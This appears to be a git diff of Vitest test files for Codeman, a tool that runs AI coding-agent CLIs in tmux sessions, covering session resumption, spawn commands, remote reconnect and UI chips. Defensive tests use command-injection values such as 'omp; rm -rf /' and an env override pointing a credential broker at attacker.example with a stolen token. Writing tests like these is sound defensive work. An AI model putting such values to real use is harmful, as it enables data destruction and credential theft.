const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-resume-test');
const sessions: Session[] = [];
afterEach(() => {
for (const s of sessions.splice(0)) s.stop();
rmSync(join(homedir(), '.omp'), { recursive: true, force: true });
});
function seedOmpSessionFile(id: string) {
mkdirSync(workingDir, { recursive: true });
mkdirSync(sessionDir, { recursive: true });
// resolveAndClaimOmpSessionId() verifies the file's own header (not just
// the filename), mirroring the real `omp` session-file shape — the
// header's `cwd` must match `workingDir` for the candidate to count.
const header = `${JSON.stringify({ type: 'session', id, cwd: workingDir })}\n`;
writeFileSync(join(sessionDir, `2026-08-27T17-31-08-001Z_${id}.jsonl`), header);
}
it('a brand-new session (no prior mux session) never inherits an on-disk conversation', async () => {
seedOmpSessionFile('old-conversation-id');
const session = new Session({
workingDir,
mode: 'omp',
mux: new TmuxManager(),
useMux: true,
});
sessions.push(session);
await session.startInteractive();
const state = session.toState();
expect(state.ompConfig).toBeUndefined();
expect(session.claudeSessionId).toBe(session.id);
});
it('a plain reattach to an existing mux session (pane still alive) does NOT pin', async () => {
// Regression for the sibling-aliasing bug: pinning must never be a side
// effect of merely building respawn options for a pane that might still
// be alive (isPaneDead is unconditionally false under IS_TEST_MODE,
// which is what a real "just reattaching, nothing died" boot recovery
// looks like from Session's perspective).
seedOmpSessionFile('sibling-conversation-id');
const muxSession: MuxSession = {
sessionId: 'placeholder',
muxName: 'codeman-deadbeef',
pid: 1,
createdAt: Date.now(),
workingDir,
mode: 'omp',
attached: false,
};
const session = new Session({
workingDir,
mode: 'omp',
mux: new TmuxManager(),
useMux: true,
muxSession,
});
sessions.push(session);
await session.startInteractive();
const state = session.toState();
expect(state.ompConfig?.resumeSessionId).toBeUndefined();
expect(session.claudeSessionId).toBe(session.id);
});
it('_pinOmpRespawnId() resolves and pins the real id once a respawn is confirmed', () => {
seedOmpSessionFile('real-omp-uuid');
const muxSession: MuxSession = {
sessionId: 'placeholder',
muxName: 'codeman-deadbeef',
pid: 1,
createdAt: Date.now(),
workingDir,
mode: 'omp',
attached: false,
};
const session = new Session({
workingDir,
mode: 'omp',
mux: new TmuxManager(),
useMux: true,
muxSession,
});
sessions.push(session);
(session as unknown as { _pinOmpRespawnId(): void })._pinOmpRespawnId();
expect(session.toState().ompConfig?.resumeSessionId).toBe('real-omp-uuid');
expect(session.claudeSessionId).toBe('real-omp-uuid');
});
});
+165
View File
@@ -0,0 +1,165 @@
import { describe, expect, it, beforeEach, afterEach } from 'vitest';
import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js';
import { buildSpawnCommand } from '../src/tmux-manager.js';
import { defaultDockerCommandForMode } from '../src/docker-hosts.js';
import { defaultRemoteCommandForMode } from '../src/remote-hosts.js';
import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js';
import { _clampEnvOverridesForOwner } from '../src/web/routes/session-routes.js';
describe('OMP mode schemas', () => {
it('accepts OMP session creation config', () => {
const parsed = CreateSessionSchema.parse({
workingDir: '/tmp',
mode: 'omp',
ompConfig: {
model: 'crof/glm-5.2',
},
});
expect(parsed.mode).toBe('omp');
expect(parsed.ompConfig).toEqual({
model: 'crof/glm-5.2',
});
});
it('accepts OMP quick-start config', () => {
const parsed = QuickStartSchema.parse({
caseName: 'omp-case',
mode: 'omp',
ompConfig: {
resumeSessionId: 'session-1234abcd',
},
});
expect(parsed.mode).toBe('omp');
expect(parsed.ompConfig?.resumeSessionId).toBe('session-1234abcd');
});
it('rejects unsafe OMP model strings', () => {
expect(() =>
CreateSessionSchema.parse({
workingDir: '/tmp',
mode: 'omp',
ompConfig: { model: 'omp; rm -rf /' },
})
).toThrow();
});
it('allows OMP_* env overrides and still rejects unknown prefixes', () => {
const parsed = CreateSessionSchema.parse({
workingDir: '/tmp',
mode: 'omp',
envOverrides: { OMP_PROFILE: 'work' },
});
expect(parsed.envOverrides).toEqual({ OMP_PROFILE: 'work' });
expect(() =>
CreateSessionSchema.parse({
workingDir: '/tmp',
envOverrides: { RANDOM_PREFIX_KEY: 'x' },
})
).toThrow();
});
});
describe('OMP spawn command', () => {
it('builds a bare omp command when no config is sent', () => {
const cmd = buildSpawnCommand({ mode: 'omp', sessionId: 'abc12345' });
expect(cmd).toBe('omp');
});
it('passes --model and --resume, and drops unsafe ids', () => {
expect(
buildSpawnCommand({
mode: 'omp',
sessionId: 'abc12345',
ompConfig: { model: 'crof/glm-5.2', resumeSessionId: 'session-99' },
})
).toBe('omp --model crof/glm-5.2 --resume session-99');
expect(
buildSpawnCommand({
mode: 'omp',
sessionId: 'abc12345',
ompConfig: { resumeSessionId: 'x; rm -rf /' },
})
).toBe('omp');
});
it('continues the most recent session when no explicit resume id is given', () => {
expect(
buildSpawnCommand({
mode: 'omp',
sessionId: 'abc12345',
ompConfig: { continueSession: true },
})
).toBe('omp --continue');
});
it('prefers an explicit --resume id over --continue', () => {
expect(
buildSpawnCommand({
mode: 'omp',
sessionId: 'abc12345',
ompConfig: { resumeSessionId: 'session-99', continueSession: true },
})
).toBe('omp --resume session-99');
});
it('drops unsafe model strings from the spawn command', () => {
expect(
buildSpawnCommand({
mode: 'omp',
sessionId: 'abc12345',
ompConfig: { model: 'a`b' },
})
).toBe('omp');
});
});
describe('OMP mode gates', () => {
it('is an external CLI mode (readiness/ralph/respawn gating)', () => {
expect(isExternalCliMode('omp')).toBe(true);
});
it('is NOT an alt-screen strip mode (unverified TUI, like opencode/antigravity)', () => {
expect(isAltScreenStripMode('omp')).toBe(false);
});
it('has docker/remote default commands', () => {
expect(defaultDockerCommandForMode('omp')).toBe('exec omp');
// Routed through an interactive login shell so per-user PATH entries resolve —
// same fix as the other remote agent CLIs (see defaultRemoteCommandForMode).
expect(defaultRemoteCommandForMode('omp')).toBe('exec "${SHELL:-/bin/sh}" -i -l -c \'omp\'');
});
});
describe('OMP multi-user clamp: the env-var half', () => {
// Unlike DeepSeek, omp has no permission FLAG or CONFIG for the clamp to
// gate (buildOmpCommand() only ever emits --model/--resume/--continue), so
// the only privilege surface is the two credential-resolution env vars the
// OMP_* prefix admits.
const ORIGINAL = process.env.CODEMAN_MULTIUSER;
beforeEach(() => {
process.env.CODEMAN_MULTIUSER = '1';
});
afterEach(() => {
if (ORIGINAL === undefined) delete process.env.CODEMAN_MULTIUSER;
else process.env.CODEMAN_MULTIUSER = ORIGINAL;
});
it('strips OMP_AUTH_BROKER_URL and OMP_AUTH_BROKER_TOKEN, leaving unrelated overrides alone', async () => {
const out = await _clampEnvOverridesForOwner('nobody', {
OMP_AUTH_BROKER_URL: 'https://attacker.example/broker',
OMP_AUTH_BROKER_TOKEN: 'stolen-token',
OMP_PROFILE: 'default',
});
expect(out).toEqual({ OMP_PROFILE: 'default' });
});
it('is a no-op in single-user mode', async () => {
delete process.env.CODEMAN_MULTIUSER;
const input = { OMP_AUTH_BROKER_URL: 'https://attacker.example/broker' };
expect(await _clampEnvOverridesForOwner(undefined, input)).toBe(input);
});
});
+128
View File
@@ -0,0 +1,128 @@
/**
* @fileoverview Tests for OMP session-id resolution from disk.
*
* Pins the home-relative directory mangling bug found 2026-08-27: omp
* collapses a home-relative workingDir to its home-relative remainder BEFORE
* dash-replacing (`/home/user/dev/foo` -> `-dev-foo`), unlike Claude Code's
* `~/.claude/projects/*` convention (`-home-user-dev-foo`) this module was
* originally written to mirror. Getting this wrong doesn't throw — it just
* makes findLatestOmpSessionId() silently return null for every case under
* $HOME (virtually all real Codeman cases), so continuation pinning quietly
* degraded to omp's own ambiguous `--continue` while appearing to work in
* manual testing done entirely under /tmp (which sits outside $HOME and was
* mangled correctly by coincidence).
*
* test/setup.ts gives this file its own temp $HOME, so homedir() below is
* already sandboxed — writing real files under it is safe and exercises the
* exact home-relative path the bug hid behind.
*/
import { mkdirSync, rmSync, utimesSync, writeFileSync } from 'node:fs';
import { homedir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it } from 'vitest';
import { findLatestOmpSessionId, mangleOmpWorkingDir } from '../src/utils/omp-session-resolver.js';
import { resolveOmpConfigForCreate } from '../src/web/routes/session-routes.js';
describe('mangleOmpWorkingDir', () => {
it('strips the home prefix before dash-replacing a home-relative path', () => {
const home = homedir();
expect(mangleOmpWorkingDir(join(home, 'codeman-cases', 'testcase'))).toBe('-codeman-cases-testcase');
});
it('dash-replaces a path outside $HOME as-is', () => {
expect(mangleOmpWorkingDir('/tmp/omp-verify-case')).toBe('-tmp-omp-verify-case');
});
it('treats workingDir === home as the empty remainder', () => {
expect(mangleOmpWorkingDir(homedir())).toBe('');
});
it('does not false-positive on a sibling directory sharing a prefix with $HOME', () => {
const sibling = `${homedir()}-other/dev/foo`;
expect(mangleOmpWorkingDir(sibling)).toBe(sibling.replace(/\//g, '-'));
});
});
describe('findLatestOmpSessionId', () => {
const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-testcase');
afterEach(() => {
rmSync(join(homedir(), '.omp'), { recursive: true, force: true });
});
it('finds the newest session file under a home-relative workingDir', () => {
const workingDir = join(homedir(), 'codeman-cases', 'testcase');
mkdirSync(sessionDir, { recursive: true });
writeFileSync(join(sessionDir, '2026-08-27T17-15-57-989Z_older-id.jsonl'), '{}');
const newer = join(sessionDir, '2026-08-27T17-31-08-001Z_newer-id.jsonl');
writeFileSync(newer, '{}');
// Force a deterministic mtime order regardless of filesystem timestamp resolution.
const now = Date.now() / 1000;
utimesSync(join(sessionDir, '2026-08-27T17-15-57-989Z_older-id.jsonl'), now, now);
utimesSync(newer, now + 1, now + 1);
expect(findLatestOmpSessionId(workingDir)).toBe('newer-id');
});
it('returns null when the mangled directory does not exist', () => {
expect(findLatestOmpSessionId(join(homedir(), 'never-launched'))).toBeNull();
});
});
describe('resolveOmpConfigForCreate', () => {
// The exact pipeline "resume this OMP row from the history list" drives:
// POST /api/sessions with mode:'omp' + ompConfig:{continueSession:true}
// must come back with resumeSessionId PINNED to the real omp transcript
// uuid, not left as the ambiguous continueSession flag alone. This was the
// one path flagged by review as having zero coverage despite being the
// exact mechanism the whole resolver module exists to serve.
const workingDir = join(homedir(), 'codeman-cases', 'resume-test');
const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-resume-test');
afterEach(() => {
rmSync(join(homedir(), '.omp'), { recursive: true, force: true });
});
it('pins resumeSessionId from disk when resuming with only continueSession set', () => {
mkdirSync(sessionDir, { recursive: true });
writeFileSync(join(sessionDir, '2026-08-27T17-31-08-001Z_real-omp-uuid.jsonl'), '{}');
const resolved = resolveOmpConfigForCreate('omp', workingDir, { continueSession: true });
expect(resolved).toEqual({ continueSession: true, resumeSessionId: 'real-omp-uuid' });
});
it('does not attempt resolution when resumeSessionId is already explicit', () => {
mkdirSync(sessionDir, { recursive: true });
writeFileSync(join(sessionDir, '2026-08-27T17-31-08-001Z_disk-uuid.jsonl'), '{}');
const resolved = resolveOmpConfigForCreate('omp', workingDir, {
continueSession: true,
resumeSessionId: 'already-pinned',
});
// Must return the caller's id unchanged, never overwrite it with whatever
// happens to be newest on disk.
expect(resolved).toEqual({ continueSession: true, resumeSessionId: 'already-pinned' });
});
it('leaves ompConfig unchanged when continueSession is not set', () => {
const resolved = resolveOmpConfigForCreate('omp', workingDir, {});
expect(resolved).toEqual({});
});
it('leaves ompConfig unchanged when nothing is on disk to resolve', () => {
const resolved = resolveOmpConfigForCreate('omp', join(homedir(), 'never-launched'), {
continueSession: true,
});
expect(resolved).toEqual({ continueSession: true });
});
it('returns undefined for a non-omp mode regardless of ompConfig', () => {
expect(resolveOmpConfigForCreate('claude', workingDir, { continueSession: true })).toBeUndefined();
});
it('returns undefined when ompConfig is undefined', () => {
expect(resolveOmpConfigForCreate('omp', workingDir, undefined)).toBeUndefined();
});
});
+5 -10
View File
@@ -12,7 +12,9 @@
*/
import { describe, it, expect, beforeAll, afterAll, beforeEach } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { safeRmHomeTree } from './mocks/index.js';
import { homedir } from 'node:os';
import { join } from 'node:path';
const TEST_PORT = 3215;
// Helper to parse SSE events from raw text
@@ -1043,15 +1045,8 @@ describe('Operation Lightspeed', () => {
const caseEvent = events.find((e) => e.event === 'case:created');
expect(caseEvent).toBeDefined();
// Cleanup
const { rmSync } = await import('node:fs');
const { join } = await import('node:path');
const { homedir } = await import('node:os');
try {
rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true });
} catch {
/* may not exist */
}
// Cleanup (containment-gated: never touch prod ~/codeman-cases)
safeRmHomeTree(join(homedir(), 'codeman-cases', caseName));
});
it('should deliver session:created to every client, even those with a mismatched filter', async () => {
+60
View File
@@ -79,4 +79,64 @@ describe('header plan usage chip', () => {
expect(codexRow).not.toContain('5h');
expect(codexRow).toContain('7d');
});
it("keeps Claude's 5h slot as a dash when no session window is open", () => {
// Claude Code ships `five_hour` "only while the API reports it and its
// resets_at has not passed", so between session windows the key is simply
// absent. The chip used to shrink to a lone 7d segment, which reads as a
// broken feature rather than an idle window (reported 2026-09-01).
const { CodemanApp, chip } = loadCodemanAppClass();
const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp;
app.updatePlanUsageChip({ sevenDay: { usedPercentage: 52, resetAt: 2000 } });
expect(chip.innerHTML).toContain('pu-win-idle');
expect(chip.innerHTML).toContain('5h');
expect(chip.innerHTML).toContain('52%');
expect(chip.title).toContain('no active session window');
});
it('renders no row at all for a provider reporting nothing', () => {
// The placeholder must never stand alone: a row of em dashes would claim a
// provider is idle when it is really absent.
const { CodemanApp, chip } = loadCodemanAppClass();
const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp;
app.updatePlanUsageChip({ codex: { sevenDay: { usedPercentage: 40, resetAt: 3000 } } });
expect(chip.innerHTML).not.toContain('pu-win-idle');
expect(chip.innerHTML).toContain('40%');
});
it('drops the provider label when Claude is the only provider with limits', () => {
const { CodemanApp, chip } = loadCodemanAppClass();
const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp;
app.updatePlanUsageChip({
fiveHour: { usedPercentage: 60, resetAt: 1000 },
sevenDay: { usedPercentage: 23, resetAt: 2000 },
});
expect(chip.innerHTML).toContain('class="pu-row"');
expect(chip.innerHTML).not.toContain('pu-provider');
expect(chip.innerHTML).not.toContain('Claude');
expect(chip.innerHTML).toContain('60%');
expect(chip.innerHTML).toContain('23%');
// The tooltip still names the provider — it has room, and the chip no longer does.
expect(chip.title).toContain('Claude plan usage');
});
it('drops the provider label when Codex is the only provider with limits', () => {
const { CodemanApp, chip } = loadCodemanAppClass();
const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp;
app.updatePlanUsageChip({
codex: { fiveHour: { usedPercentage: 12, resetAt: 3000 } },
});
expect(chip.innerHTML).toContain('class="pu-row"');
expect(chip.innerHTML).not.toContain('pu-provider');
expect(chip.innerHTML).toContain('12%');
expect(chip.title).toContain('Codex plan usage');
});
});
+4 -7
View File
@@ -13,9 +13,9 @@
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { existsSync, rmSync } from 'node:fs';
import { join } from 'node:path';
import { homedir } from 'node:os';
import { safeRmHomeTree } from './mocks/index.js';
const TEST_PORT = 3125;
const CASES_DIR = join(homedir(), 'codeman-cases');
@@ -33,13 +33,10 @@ describe('Ralph Integration Tests', () => {
});
afterEach(() => {
// Clean up cases created during this test
// Clean up cases created during this test (containment-gated: never
// delete a case dir outside the temp HOME).
while (createdCases.length > 0) {
const caseName = createdCases.pop()!;
const casePath = join(CASES_DIR, caseName);
if (existsSync(casePath)) {
rmSync(casePath, { recursive: true, force: true });
}
safeRmHomeTree(join(CASES_DIR, createdCases.pop()!));
}
});
+99 -3
View File
@@ -26,6 +26,7 @@ import {
decideReconnect,
} from '../src/remote-reconnect.js';
import type { ReconnectSessionView } from '../src/remote-reconnect.js';
import { buildRemoteSessionAliveCommand, classifyRemoteAliveExit } from '../src/remote-hosts.js';
import { TmuxManager } from '../src/tmux-manager.js';
import type { SessionRemote } from '../src/types.js';
@@ -106,7 +107,7 @@ describe('reconnect backoff schedule (pure)', () => {
// ────────────────────────────────────────────────────────────────────────────
describe('decideReconnect (pure eligibility)', () => {
const deadRemote: ReconnectSessionView = { sessionId: 's1', isRemote: true, paneDead: true };
const deadRemote: ReconnectSessionView = { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: true };
it('emits for a dead remote pane that is not guarded and is due', () => {
const action = decideReconnect({
@@ -132,7 +133,7 @@ describe('decideReconnect (pure eligibility)', () => {
it('skips non-remote sessions', () => {
const action = decideReconnect({
session: { sessionId: 's1', isRemote: false, paneDead: true },
session: { sessionId: 's1', isRemote: false, paneDead: true, remoteAlive: true },
state: freshReconnectState(),
guarded: false,
enabled: true,
@@ -143,7 +144,7 @@ describe('decideReconnect (pure eligibility)', () => {
it('skips when the pane is alive', () => {
const action = decideReconnect({
session: { sessionId: 's1', isRemote: true, paneDead: false },
session: { sessionId: 's1', isRemote: true, paneDead: false, remoteAlive: true },
state: freshReconnectState(),
guarded: false,
enabled: true,
@@ -152,6 +153,28 @@ describe('decideReconnect (pure eligibility)', () => {
expect(action).toEqual({ kind: 'skip', reason: 'pane-alive' });
});
it('NEVER revives when the durable remote tmux is GONE (clean exit — the 2026-08-29 fix)', () => {
const action = decideReconnect({
session: { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: false },
state: freshReconnectState(),
guarded: false,
enabled: true,
now: 0,
});
expect(action).toEqual({ kind: 'skip', reason: 'remote-gone' });
});
it('NEVER revives when remote liveness is unknown (probe failed — fail closed)', () => {
const action = decideReconnect({
session: { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: undefined },
state: freshReconnectState(),
guarded: false,
enabled: true,
now: 0,
});
expect(action).toEqual({ kind: 'skip', reason: 'remote-gone' });
});
it('skips when the kill-switch is off', () => {
const action = decideReconnect({
session: deadRemote,
@@ -198,6 +221,34 @@ describe('decideReconnect (pure eligibility)', () => {
// (c) MANAGER integration — drive ticks with a stubbed pane-death + clock
// ────────────────────────────────────────────────────────────────────────────
describe('remote has-session probe (pure)', () => {
it('builds the probe through the shared ssh connection args, has-session by name', () => {
const cmd = buildRemoteSessionAliveCommand({ username: 'dev', host: 'box', port: 2222 }, 'codeman-ssh-abc');
// Literal pin: the session name is shellescaped inside the remote command,
// which is itself one shellescaped ssh argument.
expect(cmd).toBe(
"ssh -o BatchMode=yes -o ConnectTimeout=10 -p 2222 dev@box 'tmux -L codeman-remote has-session -t '\\''codeman-ssh-abc'\\'' 2>/dev/null'"
);
});
// `tmux has-session` prints NOTHING on success (exit 0), so the exit status is
// the only signal; reading stdout classified every live session as gone.
it('exit 0 = alive', () => {
expect(classifyRemoteAliveExit(0, false)).toBe(true);
});
it("tmux's 1 (missing session) and 127 (no tmux on the remote) = gone", () => {
expect(classifyRemoteAliveExit(1, false)).toBe(false);
expect(classifyRemoteAliveExit(127, false)).toBe(false);
});
it("ssh's 255, a timeout, and a spawn failure = unknown (never revive)", () => {
expect(classifyRemoteAliveExit(255, false)).toBeUndefined();
expect(classifyRemoteAliveExit(null, true)).toBeUndefined();
expect(classifyRemoteAliveExit(null, false)).toBeUndefined();
});
});
describe('TmuxManager remote reconnect watcher (integration)', () => {
let manager: TmuxManager;
@@ -222,6 +273,11 @@ describe('TmuxManager remote reconnect watcher (integration)', () => {
registerRemote('aaaa1111');
// Force the watcher to see a dead pane regardless of test-mode isPaneDead.
vi.spyOn(manager, 'isPaneDead').mockReturnValue(true);
// The durable remote tmux is still alive (transport drop) → reconnect allowed.
(manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache.set(
'aaaa1111',
true
);
const dropped: Array<{ sessionId: string; attempt: number }> = [];
const exhausted: Array<{ sessionId: string }> = [];
@@ -263,6 +319,10 @@ describe('TmuxManager remote reconnect watcher (integration)', () => {
it('resets backoff on a successful reattach (noteRemoteReconnect)', () => {
registerRemote('cccc3333');
vi.spyOn(manager, 'isPaneDead').mockReturnValue(true);
(manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache.set(
'cccc3333',
true
);
const dropped: Array<{ attempt: number }> = [];
manager.on('remoteSessionDropped', (d) => dropped.push(d));
@@ -284,12 +344,48 @@ describe('TmuxManager remote reconnect watcher (integration)', () => {
expect(dropped).toEqual([]);
});
it('forgets the cached liveness once the pane is alive again, so a later dead pane is probed afresh', async () => {
registerRemote('ffff6666');
const cache = (manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache;
// A clean exit was observed earlier (remote gone) ...
cache.set('ffff6666', false);
// ... then the user restarted the session by hand: the pane is alive.
const paneDead = vi.spyOn(manager, 'isPaneDead').mockReturnValue(false);
manager.runRemoteReconnectTick(0, true);
expect(cache.has('ffff6666')).toBe(false);
// Now a transport drop. The first dead-pane tick only fires the probe
// (stubbed alive under VITEST); the tick after it sees the fresh answer.
paneDead.mockReturnValue(true);
const dropped: unknown[] = [];
manager.on('remoteSessionDropped', (d) => dropped.push(d));
manager.runRemoteReconnectTick(1000, true);
expect(dropped).toEqual([]);
await new Promise((resolve) => setTimeout(resolve, 0));
expect(cache.get('ffff6666')).toBe(true);
manager.runRemoteReconnectTick(2000, true);
expect(dropped).toEqual([{ sessionId: 'ffff6666', attempt: 1 }]);
});
it('never revives from a stale "alive" answer after the pane came back: a later clean exit re-probes', () => {
registerRemote('abab7777');
const cache = (manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache;
cache.set('abab7777', true); // learned during a transport drop
vi.spyOn(manager, 'isPaneDead').mockReturnValue(false); // reattach succeeded
manager.runRemoteReconnectTick(0, true);
expect(cache.has('abab7777')).toBe(false);
});
it('clears per-session reconnect/guard state when the session is removed', () => {
registerRemote('eeee5555');
manager.guardRemoteReconnect('eeee5555');
manager.clearRemoteReconnectState('eeee5555');
// After clearing the guard, a fresh dead-pane observation should emit again.
vi.spyOn(manager, 'isPaneDead').mockReturnValue(true);
(manager as unknown as { remoteAliveCache: Map<string, boolean | undefined> }).remoteAliveCache.set(
'eeee5555',
true
);
const dropped: unknown[] = [];
manager.on('remoteSessionDropped', (d) => dropped.push(d));
manager.runRemoteReconnectTick(0, true);
+10
View File
@@ -20,6 +20,7 @@ import { isAntigravityAvailable } from '../src/utils/antigravity-cli-resolver.js
import { isPiAvailable } from '../src/utils/pi-cli-resolver.js';
import { isGrokAvailable } from '../src/utils/grok-cli-resolver.js';
import { isDeepSeekAvailable, isDeepSeekRunnable } from '../src/utils/deepseek-cli-resolver.js';
import { isOmpAvailable } from '../src/utils/omp-cli-resolver.js';
import { isCloudflaredAvailable } from '../src/utils/cloudflared-resolver.js';
import { isGitAvailable } from '../src/git-clone.js';
@@ -66,6 +67,10 @@ vi.mock('../src/utils/deepseek-cli-resolver.js', () => ({
listDeepSeekProfiles: vi.fn(() => []),
resolveDefaultDeepSeekProfile: vi.fn(() => null),
}));
vi.mock('../src/utils/omp-cli-resolver.js', () => ({
isOmpAvailable: vi.fn(() => false),
resolveOmpDir: vi.fn(() => null),
}));
vi.mock('../src/utils/cloudflared-resolver.js', () => ({
isCloudflaredAvailable: vi.fn(() => false),
resolveCloudflaredPath: vi.fn(() => null),
@@ -156,6 +161,9 @@ describe('WebServer.renderIndexHtml', () => {
vi.mocked(isAntigravityAvailable).mockReturnValue(false);
vi.mocked(isPiAvailable).mockReturnValue(true);
vi.mocked(isGrokAvailable).mockReturnValue(false);
vi.mocked(isDeepSeekAvailable).mockReturnValue(false);
vi.mocked(isDeepSeekRunnable).mockReturnValue(false);
vi.mocked(isOmpAvailable).mockReturnValue(true);
vi.mocked(isCloudflaredAvailable).mockReturnValue(true);
vi.mocked(isGitAvailable).mockReturnValue(true);
const { server } = makeServer({});
@@ -173,6 +181,7 @@ describe('WebServer.renderIndexHtml', () => {
grok: false,
deepseek: false,
deepseekBinary: false,
omp: true,
cloudflared: true,
git: true,
});
@@ -191,6 +200,7 @@ describe('WebServer.renderIndexHtml', () => {
isGrokAvailable,
isDeepSeekAvailable,
isDeepSeekRunnable,
isOmpAvailable,
isCloudflaredAvailable,
isGitAvailable,
]) {
+143
View File
@@ -0,0 +1,143 @@
/**
* @fileoverview Upstream review fix (Ark0N/Codeman#353, PR #3): resumeHistorySession()
* threads the row's own mode through session creation via a `modeConfigKey` map
* (opencode/pi/grok/omp → `continueSession: true`), then retires the old row via
* DELETE. codex/gemini/antigravity were missing from that map, so resuming one of
* their rows created a session with NO continuation while still deleting the row
* it came from — data loss dressed as a fix. The correction: only retire the row
* when the new session actually continues something.
*
* Loaded via `vm` against a stub CodemanApp, same harness as resume-name.test.ts.
* `fetch` is a shared mutable stub so each test can inspect exactly which requests
* fired without a real network/server.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { describe, expect, it, vi, beforeEach } from 'vitest';
/* eslint-disable @typescript-eslint/no-explicit-any */
/** The fetch the vm's shipping code calls; swapped per test (see beforeEach). */
let currentFetch: (...args: unknown[]) => unknown = () => {
throw new Error('fetch not stubbed for this test');
};
function loadTerminalUiPrototype(): Record<string, (...args: unknown[]) => unknown> {
const source = readFileSync(resolve(import.meta.dirname, '../src/web/public/terminal-ui.js'), 'utf8');
const context = vm.createContext({
console,
CodemanApp: class CodemanApp {},
setInterval: vi.fn(),
clearInterval: vi.fn(),
setTimeout,
clearTimeout,
requestAnimationFrame: vi.fn(),
document: { addEventListener: vi.fn(), getElementById: vi.fn(() => null) },
window: { addEventListener: vi.fn(), removeEventListener: vi.fn() },
fetch: (...args: unknown[]) => currentFetch(...args),
});
vm.runInContext(`${source}\nglobalThis.__proto = CodemanApp.prototype;`, context);
return (context as { __proto: Record<string, (...args: unknown[]) => unknown> }).__proto;
}
const proto = loadTerminalUiPrototype();
function makeApp() {
return {
terminal: { clear: vi.fn(), writeln: vi.fn(), focus: vi.fn() },
cases: [],
resumeHistorySession: proto.resumeHistorySession as (...args: unknown[]) => Promise<void>,
_closeFolderHistoryModal: vi.fn(),
_resolveResumeName: () => 'w1-case',
loadAppSettingsFromStorage: () => ({}),
getCaseSettings: () => ({}),
buildEnvOverrides: () => ({}),
getEffortSetting: () => undefined,
selectSession: vi.fn(async () => {}),
};
}
/** DELETE calls the fetch mock recorded. */
function deleteCalls(fetchMock: ReturnType<typeof vi.fn>): string[] {
return fetchMock.mock.calls
.filter(([, opts]: [string, { method?: string }]) => opts?.method === 'DELETE')
.map(([url]: [string]) => url);
}
/** POST /api/sessions body the fetch mock recorded. */
function createBody(fetchMock: ReturnType<typeof vi.fn>): any {
const call = fetchMock.mock.calls.find(([url]: [string]) => url === '/api/sessions');
return call ? JSON.parse((call[1] as { body: string }).body) : undefined;
}
function stubFetch(newSessionId: string): ReturnType<typeof vi.fn> {
const fetchMock = vi.fn(async (url: string) => {
if (url === '/api/sessions') {
return { json: async () => ({ success: true, data: { session: { id: newSessionId } } }) };
}
return { json: async () => ({ success: true }) };
});
currentFetch = fetchMock;
return fetchMock;
}
describe('resumeHistorySession: row retirement is gated on actual continuation', () => {
let fetchMock: ReturnType<typeof vi.fn>;
beforeEach(() => {
fetchMock = stubFetch('new-session-id');
});
it.each(['codex', 'gemini', 'antigravity'])(
'does NOT retire the old row for %s (no continuation is wired for it)',
async (mode) => {
const app = makeApp();
await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', mode);
expect(createBody(fetchMock)).toMatchObject({ mode });
expect(createBody(fetchMock).codexConfig).toBeUndefined();
expect(createBody(fetchMock).geminiConfig).toBeUndefined();
expect(createBody(fetchMock).antigravityConfig).toBeUndefined();
expect(deleteCalls(fetchMock)).toEqual([]);
}
);
it.each([
['opencode', 'openCodeConfig'],
['pi', 'piConfig'],
['grok', 'grokConfig'],
['omp', 'ompConfig'],
])('retires the old row for %s (continueSession is wired via %s)', async (mode, configKey) => {
const app = makeApp();
await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', mode);
expect(createBody(fetchMock)[configKey]).toEqual({ continueSession: true });
expect(deleteCalls(fetchMock)).toEqual(['/api/sessions/old-id?killMux=true']);
});
it('retires the old row for deepseek (resumeSession is wired)', async () => {
const app = makeApp();
await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', 'deepseek');
expect(createBody(fetchMock).deepSeekConfig).toEqual({ resumeSession: true });
expect(deleteCalls(fetchMock)).toEqual(['/api/sessions/old-id?killMux=true']);
});
it('never retires a claude row (resumeSessionId is a claudeSessionId, not a Codeman row id)', async () => {
const app = makeApp();
await app.resumeHistorySession.call(app, 'claude-uuid', '/repo', 'w1-repo', 'claude');
expect(createBody(fetchMock)).toMatchObject({ mode: 'claude', resumeSessionId: 'claude-uuid' });
expect(deleteCalls(fetchMock)).toEqual([]);
});
it('never retires when the new session id equals the old one (no-op resume)', async () => {
fetchMock = stubFetch('same-id');
const app = makeApp();
await app.resumeHistorySession.call(app, 'same-id', '/repo', 'w1-repo', 'omp');
expect(deleteCalls(fetchMock)).toEqual([]);
});
});
+7 -5
View File
@@ -9,8 +9,10 @@
* working tree in the case directory, that scaffolding does not overwrite the
* repository's own files, and that a rejected URL never reaches git.
*
* `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR resolves
* inside the fixture and nothing touches the developer's real ~/codeman-cases.
* `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR
* (`join(homedir(), 'codeman-cases')`) resolves inside the fixture; cleanup
* below still goes through `safeRmHomeTree`, which refuses to delete anything
* outside the temp HOME, so a wrong anchor can never reach the real tree.
*
* Port: N/A (app.inject).
*/
@@ -31,7 +33,7 @@ import {
} from 'node:fs';
import { homedir, tmpdir } from 'node:os';
import { join } from 'node:path';
